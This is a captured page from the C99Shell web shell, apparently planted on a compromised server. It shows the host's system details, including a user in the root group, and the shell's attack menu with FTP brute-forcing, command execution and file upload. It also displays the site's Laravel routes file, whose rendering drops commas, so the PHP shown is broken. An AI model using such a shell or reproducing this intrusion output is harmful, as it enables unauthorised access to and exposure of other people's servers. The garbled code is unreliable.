!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/portfolio.picotech.app/public_html/routes/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     web.php (28.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use App\Models\Plan;
use 
Illuminate\Support\Facades\Route;
use 
App\Http\Controllers\Admin\GatewayController;
use 
App\Http\Controllers\FrontController;
use 
App\Http\Controllers\Admin\FAQController;
use 
App\Http\Controllers\Auth\AdminLoginController;
use 
App\Http\Controllers\Customer\DashboardController;




/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/maintenance', [\App\Http\Controllers\FrontController::class,'maintenance'])->name('maintenance');


Route::group(['middleware'=> 'maintenance_mode'], function(){
Route::get('/', [\App\Http\Controllers\FrontController::class,'home'])->name('home');
Route::get('/blog', [\App\Http\Controllers\FrontController::class,'blog'])->name('blog');
Route::get('/blog/details/{slug}', [\App\Http\Controllers\FrontController::class,'blog_details'])->name('blog.details');
Route::get('/publications', [\App\Http\Controllers\FrontController::class,'publications'])->name('publications');
Route::get('/publications/details/{slug}', [\App\Http\Controllers\FrontController::class,'publications_details'])->name('publications.details');
    
// Route::get('/','FrontController@home')->name('home');
// Route::get('/', [AdminLoginController::class,'index'])->name('login');

});



//#region admin route
Route::group(['as' => 'admin.''prefix' => 'admin'], function () {

    
Route::group(['middleware' => 'guest'], function () {
        
Route::get('/login', [\App\Http\Controllers\Auth\AdminLoginController::class,'index'])->name('login');

        
Route::post('/login', [\App\Http\Controllers\Auth\AdminLoginController::class,'authenticate'])->name('authenticate');

        
Route::get('/password/reset', [\App\Http\Controllers\Auth\ForgotPasswordController::class,'showLinkRequestFormAdmin'])->name('password.request');

        
Route::post('/password/email', [\App\Http\Controllers\Auth\ForgotPasswordController::class,'sendResetLinkEmailAdmin'])->name('password.email');

    });

    
Route::group(['middleware' => 'auth'], function () {
        
// Route::get('/logout', ['uses' => 'Auth\AdminLoginController@logout', 'as' => 'logout']);
        
Route::get('/logout', [\App\Http\Controllers\Auth\AdminLoginController::class,'logout'])->name('logout');


        
Route::group(['namespace' => ''], function () {
            
Route::get('/dashboard', [\App\Http\Controllers\Admin\DashboardController::class,'index'])->name('dashboard');
            
Route::get('/notification/counter', [\App\Http\Controllers\Admin\DashboardController::class,'countNotification'])->name('notification.counter');
            
Route::resource('/customers'\App\Http\Controllers\Admin\CustomerController::class);
            
Route::resource('/blog-category'\App\Http\Controllers\Admin\BlogCategoryController::class);
            
Route::get('/get/all', [\App\Http\Controllers\Admin\BlogCategoryController::class,'getAll'])->name('get.all.blogcategory');
            
Route::resource('/bloglist'\App\Http\Controllers\Admin\BloglistController::class);
            
Route::get('/get/alls', [\App\Http\Controllers\Admin\BloglistController::class,'getAll'])->name('get.all.bloglist');
            
Route::resource('/event-category'\App\Http\Controllers\Admin\EventCategoryController::class);

            
Route::resource('/ibft'\App\Http\Controllers\Admin\IbftController::class);
            
Route::get('/get/all/ibft', [\App\Http\Controllers\Admin\IbftController::class,'getAll'])->name('get.all.ibft');

            
Route::resource('/fees'\App\Http\Controllers\Admin\FeesController::class);
            
Route::get('/header/fees', [\App\Http\Controllers\Admin\FeesController::class, 'header'])->name('header.fees');
            
Route::get('fees/get/all', [\App\Http\Controllers\Admin\FeesController::class,'getAll'])->name('fees.get.all');

            
Route::resource('/services'\App\Http\Controllers\Admin\ServicesController::class);
            
Route::get('/header/services', [\App\Http\Controllers\Admin\ServicesController::class, 'header'])->name('header.services');
            
Route::get('services/get/all', [\App\Http\Controllers\Admin\ServicesController::class,'getAll'])->name('services.get.all');

            
Route::resource('/courses'\App\Http\Controllers\Admin\CoursesController::class);
            
Route::get('courses/get/all', [\App\Http\Controllers\Admin\CoursesController::class,'getAll'])->name('courses.get.all');


            
Route::get('/resources/create', [\App\Http\Controllers\Admin\ResourcesController::class, 'create'])->name('resources.create');
            
Route::post('/resources/store', [\App\Http\Controllers\Admin\ResourcesController::class, 'store'])->name('resources.store');

            
Route::resource('/teams'\App\Http\Controllers\Admin\TeamsController::class);
            
Route::get('teams/get/all', [\App\Http\Controllers\Admin\TeamsController::class,'getAll'])->name('teams.get.all');

            
Route::resource('/instruments'\App\Http\Controllers\Admin\InstrumentsController::class);
            
Route::get('instruments/get/all', [\App\Http\Controllers\Admin\InstrumentsController::class,'getAll'])->name('instruments.get.all');

            
Route::resource('/questions'\App\Http\Controllers\Admin\QuestionsController::class);
            
Route::get('questions/get/all', [\App\Http\Controllers\Admin\QuestionsController::class,'getAll'])->name('questions.get.all');

            
Route::get('/signupinfo/create', [\App\Http\Controllers\Admin\SignupInfoController::class, 'create'])->name('signupinfo.create');
            
Route::post('/signupinfo/store', [\App\Http\Controllers\Admin\SignupInfoController::class, 'store'])->name('signupinfo.store');

            
Route::get('/omug/create', [\App\Http\Controllers\Admin\OmugController::class, 'create'])->name('omug.create');
            
Route::post('/omug/store', [\App\Http\Controllers\Admin\OmugController::class, 'store'])->name('omug.store');

            
Route::get('/contact/create', [\App\Http\Controllers\Admin\ContactController::class, 'create'])->name('contact.create');
            
Route::post('/contact/store', [\App\Http\Controllers\Admin\ContactController::class, 'store'])->name('contact.store');

            
Route::resource('/page'\App\Http\Controllers\Admin\PageController::class);


            
Route::get('/slider/index', [\App\Http\Controllers\Admin\ThemeController::class, 'slider_index'])->name('theme.slider.index');
            
Route::post('/slider/store', [\App\Http\Controllers\Admin\ThemeController::class, 'slider_store'])->name('theme.slider.store');
            
            
Route::get('/contact/us/index', [\App\Http\Controllers\Admin\ThemeController::class, 'contact_us_index'])->name('theme.contact.index');
            
Route::post('/contact/store', [\App\Http\Controllers\Admin\ThemeController::class, 'contact_us_store'])->name('theme.contact.store');
            
            
Route::resource('/blog-category'\App\Http\Controllers\Admin\BlogCategoryController::class);

            
Route::resource('/category-publication'\App\Http\Controllers\Admin\CategoryPublicationController::class);

            
Route::get('category-publication/get/all', [\App\Http\Controllers\Admin\CategoryPublicationController::class,'getAll'])->name('category-publication.get.all');

            
Route::resource('/publications'\App\Http\Controllers\Admin\PublicationsController::class);
            
Route::get('publications/get/all', [\App\Http\Controllers\Admin\PublicationsController::class,'getAll'])->name('publications.get.all');

            
Route::group(['as' => 'customer.''prefix' => 'customer'], function () {
                
// Route::get('/all', 'CustomerController@getAll')->name('get.all');
                
Route::get('/all', [\App\Http\Controllers\Admin\CustomerController::class,'getAll'])->name('get.all');
                
// Route::post('/change-plan', 'CustomerController@changePlan')->name('plan.change');
                
Route::post('/change-plan', [\App\Http\Controllers\Admin\CustomerController::class,'changePlan'])->name('plan.change');
                
// Route::post('/login-as', 'CustomerController@loginAs')->name('login.ass');
                
Route::post('/login-as', [\App\Http\Controllers\Admin\CustomerController::class,'loginAs'])->name('login.ass');
//                Edit Current Plan
                // Route::get('/plan/edit/{customer}', 'CustomerController@editCustomerPLan')->name('current.plan.edit');
                
Route::get('/plan/edit/{customer}', [\App\Http\Controllers\Admin\CustomerController::class,'editCustomerPLan'])->name('current.plan.edit');
                
// Route::post('/plan/update/{customer}', 'CustomerController@updateCustomerPLan')->name('current.plan.update');
                
Route::get('/plan/update/{customer}', [\App\Http\Controllers\Admin\CustomerController::class,'updateCustomerPLan'])->name('current.plan.update');
                
// Route::get('get/info', 'CustomerController@getCustomerInfo')->name('get.info');
                
Route::get('get/info', [\App\Http\Controllers\Admin\CustomerController::class,'getCustomerInfo'])->name('get.info');

                
Route::get('/overview', [\App\Http\Controllers\Customer\ComposeController::class,'overview'])->name('overview');
                
Route::get('/overview/get/data', [\App\Http\Controllers\Customer\ComposeController::class,'overview_get_data'])->name('overview.get.data');
                
Route::get('/overview/data/delete', [\App\Http\Controllers\Customer\ComposeController::class,'overview_data_delete'])->name('overview.data.delete');
                
// Route::get('/overview', '\App\Http\Controllers\Admin\ComposeController@overview')->name('overview')->middleware('can:show_message_overview');
                // Route::get('/overview/get/data', 'ComposeController@overview_get_data')->name('overview.get.data');
                // Route::delete('/overview/data/delete', 'ComposeController@overview_data_delete')->name('overview.data.delete');
                
Route::get('/reseller-customer/assign-number', [\App\Http\Controllers\Customer\ResellerCustomerController::class,'assignNumber'])->name('reseller.customer.number.assign');
                
// Route::post('/reseller-customer/assign-number', 'ResellerCustomerController@assignNumber')->name('reseller.customer.number.assign');
                
Route::get('/ibft/transfer/${id}', [\App\Http\Controllers\Customer\ComposeController::class,'ibft_transfer'])->name('ibft.transfer');
                
Route::get('/ibft/transfer/list', [\App\Http\Controllers\Customer\ComposeController::class,'ibft_transfer_list'])->name('ibft.transfer.list');
            });


            
Route::group(['as' => 'plan.''prefix' => 'plan'], function () {
                
// Route::get('/all', 'PlanController@getAll')->name('get.all');
                
Route::get('/all', [\App\Http\Controllers\Admin\PlanController::class,'getAll'])->name('get.all');
                
// Route::get('/requests', 'PlanController@requests')->name('requests');
                
Route::get('/requests', [\App\Http\Controllers\Admin\PlanController::class,'requests'])->name('requests');
                
// Route::get('/requests/get', 'PlanController@get_requests')->name('get.requests');
                
Route::get('/requests/get', [\App\Http\ControllersAdmin\PlanController::class,'get_requests'])->name('get.requests');
            });

            
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
                
// Route::get('/', 'SettingsController@index')->name('index');
                
Route::get('/', [\App\Http\Controllers\Admin\SettingsController::class,'index'])->name('index');
                
// Route::post('/update/profile', 'SettingsController@profile_update')->name('profile_update');
                
Route::post('/update/profile', [\App\Http\Controllers\Admin\SettingsController::class,'profile_update'])->name('profile_update');
                
// Route::post('/update/application', 'SettingsController@app_update')->name('app_update');
                
Route::post('/update/application', [\App\Http\Controllers\Admin\SettingsController::class,'app_update'])->name('app_update');
                
// header
                
Route::post('/update/header/title', [\App\Http\Controllers\Admin\SettingsController::class,'header_title'])->name('header_title');
                
// Route::post('/update/smtp', 'SettingsController@smtp_update')->name('smtp_update');
                
Route::post('/update/smtp', [\App\Http\Controllers\Admin\SettingsController::class,'smtp_update'])->name('smtp_update');
                
// Route::post('/update/api', 'SettingsController@api_update')->name('api_update');
                
Route::post('/update/api', [\App\Http\Controllers\Admin\SettingsController::class,'api_update'])->name('api_update');
                
// Route::post('/email-template/store', 'SettingsController@templateStore')->name('email.template.store');
                
Route::post('/email-template/store', [\App\Http\Controllers\Admin\SettingsController::class,'templateStore'])->name('email.template.store');
                
// Route::post('/update/local/setting', 'SettingsController@local_settings')->name('local.setting');
                
Route::post('/update/local/setting', [\App\Http\Controllers\Admin\SettingsController::class,'local_settings'])->name('local.setting');
                
// Route::post('/sending-setting', 'SettingsController@sending_setting')->name('sending.setting');
                
Route::post('/sending-setting', [\App\Http\Controllers\Admin\SettingsController::class,'sending_setting'])->name('sending.setting');
                
// Route::get('/gateway/numbers', 'SettingsController@getGatewayNumber')->name('gateway.numbers');
                
Route::get('/gateway/numbers', [\App\Http\Controllers\Admin\SettingsController::class,'getGatewayNumber'])->name('gateway.numbers');
                
// Route::get('/otp/index', 'SettingsController@otpSettins')->name('otp.index');
                
Route::get('/otp/index', [\App\Http\Controllers\Admin\SettingsController::class,'otpSettins'])->name('otp.index');
                
// Route::get('get/all/otp/user', 'SettingsController@activeOtpUser')->name('get.all.otp.user');
                
Route::get('get/all/otp/user', [\App\Http\Controllers\Admin\SettingsController::class,'activeOtpUser'])->name('get.all.otp.user');
                
// Route::post('/otp', 'SettingsController@otpSetting')->name('otp');
                
Route::post('/otp', [\App\Http\Controllers\Admin\SettingsController::class,'otpSetting'])->name('otp');
                
// Route::get('/customer/otp/status', 'SettingsController@getOtpStatus')->name('user.otp.status');
                
Route::get('/customer/otp/status', [\App\Http\Controllers\Admin\SettingsController::class,'getOtpStatus'])->name('user.otp.status');
                
// Route::post('/cache', 'SettingsController@cacheSettings')->name('cache');
                
Route::post('/cache', [\App\Http\Controllers\Admin\SettingsController::class,'cacheSettings'])->name('cache');


            });
//            For Database Backup
            
Route::get('/db-backup''SettingsController@dbBackupList')->name('db.backup');
            
Route::get('/download/db-backup''SettingsController@downloadDbBackup')->name('download.db.backup');


            
Route::group(['as' => 'ticket.''prefix' => 'ticket'], function () {
                
// Route::get('/', 'TicketController@index')->name('index');
                
Route::get('/', [\App\Http\Controllers\Admin\TicketController::class,'index'])->name('index');
                
// Route::get('/get-all', 'TicketController@show')->name('get.all');
                
Route::get('/get-all', [\App\Http\Controllers\Admin\TicketController::class,'show'])->name('get.all');
                
Route::post('/store''TicketController@store')->name('store');
                
Route::get('/reply''TicketController@reply')->name('reply');
                
Route::post('/status''TicketController@status')->name('status');
                
Route::get('/download''TicketController@documentDownload')->name('download');
            });


            
Route::group(['as' => 'addon.''prefix' => 'addon'], function () {
                
Route::get('/''AddonController@index')->name('index');
                
Route::get('/import''AddonController@import')->name('import');
                
Route::post('/import''AddonController@importPost')->name('import');
                
Route::get('/get/all''AddonController@getAll')->name('get.all');
                
Route::delete('/uninstall''AddonController@uninstall')->name('uninstall');
                
Route::post('/change-status''AddonController@changeStatus')->name('change-status');

            });

            
Route::group(['as' => 'page.''prefix' => 'page'], function () {
                
Route::get('/all''PageController@getAll')->name('get.all');
            });
            
Route::resource('/faq''FAQController');
            
Route::get('/get-all/faq''FAQController@getAll')->name('get.all.faq');

            
Route::group(['as' => 'page.''prefix' => 'page'], function () {
                
Route::get('/all''PageController@getAll')->name('get.all');
            });
            
Route::resource('/faq'FAQController::class);
            
Route::get('/get-all/faq', [FAQController::class,'getAll'])->name('get.all.faq');

            
Route::group(['as' => 'subscribe.''prefix' => 'subscribe'], function () {
                
// Route::get('/index','SubscribeController@index')->name('index');
                
Route::get('/index', [\App\Http\Controllers\Admin\SubscribeController::class,'index'])->name('index');

                
// Route::post('/store','SubscribeController@subscribe_store')->name('subscribe.store');
                
Route::post('/store', [\App\Http\Controllers\Admin\SubscribeController::class,'subscribe_store'])->name('subscribe.store');

            });

            
// Route::get('/user/message/index','UserMessageController@index')->name('user.message.index');
            
Route::get('/user/message/index', [\App\Http\Controllers\Admin\UserMessageController::class,'index'])->name('user.message.index');
            
// Route::post('/store','UserMessageController@store')->name('user.message.store');
            
Route::post('/store', [\App\Http\Controllers\Admin\UserMessageController::class,'store'])->name('user.message.store');


            
Route::get('/template','TemplateController@index')->name('template');
            
Route::post('/template/store','TemplateController@store')->name('template.store');
            
// Route::get('/theme/customize','TemplateController@theme')->name('theme.customize');
            // Route::post('/theme/customize/store','TemplateController@themeStore')->name('theme.customize.store');

            
Route::get('/theme/customize',[\App\Http\Controllers\Admin\ThemeController::class,'index'])->name('theme.customize');
            
Route::get('/sign/up/info',[\App\Http\Controllers\Admin\ThemeController::class,'sign_up_index'])->name('sign.up.info');
            
Route::get('/omug',[\App\Http\Controllers\Admin\ThemeController::class,'omug_index'])->name('omug');
            
Route::get('/resources',[\App\Http\Controllers\Admin\ThemeController::class,'resources_index'])->name('resources');
            
Route::get('/teams',[\App\Http\Controllers\Admin\ThemeController::class,'teams_index'])->name('teams');
            
Route::get('/fees',[\App\Http\Controllers\Admin\ThemeController::class,'fees_index'])->name('fees');
            
Route::get('/courses',[\App\Http\Controllers\Admin\ThemeController::class,'courses_index'])->name('courses');
            
Route::get('/services',[\App\Http\Controllers\Admin\ThemeController::class,'services_index'])->name('services');
            
Route::get('/welcome/section',[\App\Http\Controllers\Admin\ThemeController::class,'welcome_section_index'])->name('welcome.section');
            
Route::post('/sign/up/info/store',[\App\Http\Controllers\Admin\ThemeController::class,'sign_up_info'])->name('theme.sign.up.info.store');
            
Route::post('/resources/store',[\App\Http\Controllers\Admin\ThemeController::class,'resources'])->name('theme.resources.store');
            
Route::post('/omug/store',[\App\Http\Controllers\Admin\ThemeController::class,'omug'])->name('theme.omug.store');
            
Route::post('/team/store',[\App\Http\Controllers\Admin\ThemeController::class,'team'])->name('theme.team.store');
            
Route::post('/fees/store',[\App\Http\Controllers\Admin\ThemeController::class,'fees'])->name('theme.fees.store');
            
Route::post('/courses/store',[\App\Http\Controllers\Admin\ThemeController::class,'courses'])->name('theme.courses.store');
            
Route::post('/services/store',[\App\Http\Controllers\Admin\ThemeController::class,'services'])->name('theme.services.store');
            
Route::post('/welcome/section/store',[\App\Http\Controllers\Admin\ThemeController::class,'welcome_section'])->name('theme.welcome.section.store');

        });
    });

});
//#endregion


//#region customer routes

//Guest customer route
Route::group(['middleware' => 'guest','maintenance_mode'], function () {
    
Route::get('admin/password/reset''Admin\ForgotPasswordController@show_form')->name('admin.password.request');
    
Route::post('admin/password/reset''Admin\ForgotPasswordController@sent_email')->name('admin.password.sent');
    
Route::get('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_form')->name('admin.password.reset.confirm');
    
Route::post('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_confirm')->name('admin.password.reset.confirm');
});

Route::group(['middleware' => ['guest:customer','maintenance_mode']], function () {
    
// Route::get('/login', ['uses' => 'Auth\CustomerLoginController@index', 'as' => 'login']);
    
Route::get('/login', [\App\Http\Controllers\Auth\CustomerLoginController::class,'index'])->name('login');

    
// Route::post('/login', ['uses' => 'Auth\CustomerLoginController@authenticate', 'as' => 'authenticate']);
    
Route::post('/login', [\App\Http\Controllers\Auth\CustomerLoginController::class,'authenticate'])->name('authenticate');

    
Route::get('/sign-up', ['uses' => '\App\Http\Controllers\Auth\CustomerLoginController@sign_up''as' => 'signup']);
    
Route::post('/sign-up', ['uses' => 'Auth\CustomerLoginController@sign_up_create''as' => 'signup']);

    
Route::get('password/reset''\App\Http\Controllers\Auth\ForgotPasswordController@show_form')->name('password.request');
    
Route::post('password/reset''\App\Http\Controllers\Auth\ForgotPasswordController@sent_email')->name('password.sent');
    
Route::get('password/reset/confirm''\App\Http\Controllers\Auth\ForgotPasswordController@reset_form')->name('password.reset.confirm');
    
Route::post('password/reset/confirm''\App\Http\Controllers\Auth\ForgotPasswordController@reset_confirm')->name('password.reset.confirm');

    
Route::get('/verify/', ['uses' => 'Auth\CustomerLoginController@verifyView''as' => 'customer.verify.view']);
    
Route::get('/verify/customer', ['uses' => 'Auth\CustomerLoginController@verify''as' => 'customer.verify']);
});

//Auth customer route
Route::group(['as' => 'customer.''middleware' => ['auth:customer''email.verify:customer']], function () {

    
Route::get('/logout', ['uses' => '\App\Http\Controllers\Auth\CustomerLoginController@logout''as' => 'logout']);
    
Route::post('/login-as-admin''Auth\CustomerLoginController@loginAsAdmin')->name('login.as.admin');
    
Route::get('/check/plan', function (\Illuminate\Http\Request $request){
        if (!
$request->plan_id){
            return 
abort('404');
        }
        
$data['plan']=Plan::find($request->plan_id);
        return 
view('customer.trigger_plan'$data);
    })->
name('trigger.plan');

    
Route::group(['namespace' => 'Customer'], function () {
        
// Route::group(['auth:customer','middleware' => ['plan.validation']], function () {
            
Route::get('/dashboard', ['uses' => '\App\Http\Controllers\Customer\DashboardController@index''as' => 'dashboard']);

            
Route::get('/download/notice/file', ['uses' => 'DashboardController@downloadAttach''as' => 'download.notice.file']);
            
Route::get('/all/notice', ['uses' => 'DashboardController@viewAllNotices''as' => 'all.notices']);
            
Route::get('/notification/counter', ['uses' => 'DashboardController@countNotification''as' => 'notification.counter']);
            
Route::get('/clear/cache', ['uses' => 'DashboardController@clearCache''as' => 'clear.cache']);

            
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
                
Route::get('/index', ['uses' => 'SettingsController@index''as' => 'index']);
                
Route::post('/profile-update', ['uses' => 'SettingsController@profile_update''as' => 'profile_update']);
                
Route::post('/password-update', ['uses' => 'SettingsController@password_update''as' => 'password_update']);
                
Route::post('/notification-update', ['uses' => 'SettingsController@notification_update''as' => 'notification_update']);
                
Route::post('/webhook/update', ['uses' => 'SettingsController@webhookUpdate''as' => 'webhook_update']);
                
Route::post('/data/posting', ['uses' => 'SettingsController@dataPosting''as' => 'data_posting']);
            });

//            API Token
            
Route::get('/authorization/token/create''AuthorizationController@index')->name('authorization.token.create');
            
Route::post('/authorization/token/store''AuthorizationController@store')->name('authorization.token.store');



            
Route::get('/get/all/staff', [\App\Http\Controllers\Customer\StaffController::class,'getAll'])->name('get.all.staff');
            
Route::resource('/staff''StaffController');
            
//Staff Message View Access
            
Route::post('/access/staff/message/view/''SettingsController@accessStaffViewMessage')->name('access.staff.message.view');

            
Route::group(['as' => 'ticket.''prefix' => 'ticket'], function () {
                
Route::get('/''TicketController@index')->name('index');
                
Route::post('/store''TicketController@store')->name('store');
                
Route::get('/get-all''TicketController@show')->name('get.all');
                
Route::get('/details''TicketController@details')->name('details');
                
Route::post('/reply''TicketController@reply')->name('reply');
                
Route::get('/download''TicketController@documentDownload')->name('download');
            });

           
//            Email Template
            
Route::post('/settings/email/template', [\App\Http\Controllers\Customer\SettingsController::class,'templateStore'])->name('settings.email.template');


        
// });

        
Route::group(['as' => 'billing.''prefix' => 'billing'], function () {
            
Route::get('/''BillingController@index')->name('index');
            
Route::get('/change/plan''BillingController@changePLan')->name('change.plan');
            
Route::get('/reseller/plan''BillingController@resellerPlan')->name('reseller.plan');
            
Route::get('/phone-numbers''BillingController@phone_numbers')->name('phone_numbers');
            
Route::get('/get-numbers''BillingController@get_numbers')->name('get.numbers');
            
Route::post('/update''BillingController@update')->name('update');
        });

        
Route::post('/cancel/billing', [\App\Http\Controllers\Customer\BillingController::class, 'cancelRequest'])->name('cancel.billing.request');

    });
});

//#endregion

//Db Backup
Route::get('/db/backup', ['uses' => 'ScheduleController@processDbBackup''as' => 'db.backup']);

Route::get('/process/upgrade', ['uses' => 'UpgradeController@process''as' => 'process.upgrade']);

//Route::redirect('/', route('login'));
Route::redirect('/admin'"/admin/login");


//Route::get('{url}',['uses' => 'RouteController@index']);

// Route::post('/verify/user','FrontController@verifyCode')->name('verify');
Route::post('/verify/user', [\App\Http\Controllers\FrontController::class,'verifyCode'])->name('verify');


Route::get('locale/{type}', [\App\Http\Controllers\Admin\DashboardController::class, 'setLocale'])->name('set.locale');

// Route::get('/{page}','FrontController@page')->name('page');
Route::get('/{page}', [\App\Http\Controllers\FrontController::class,'page'])->name('page');


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--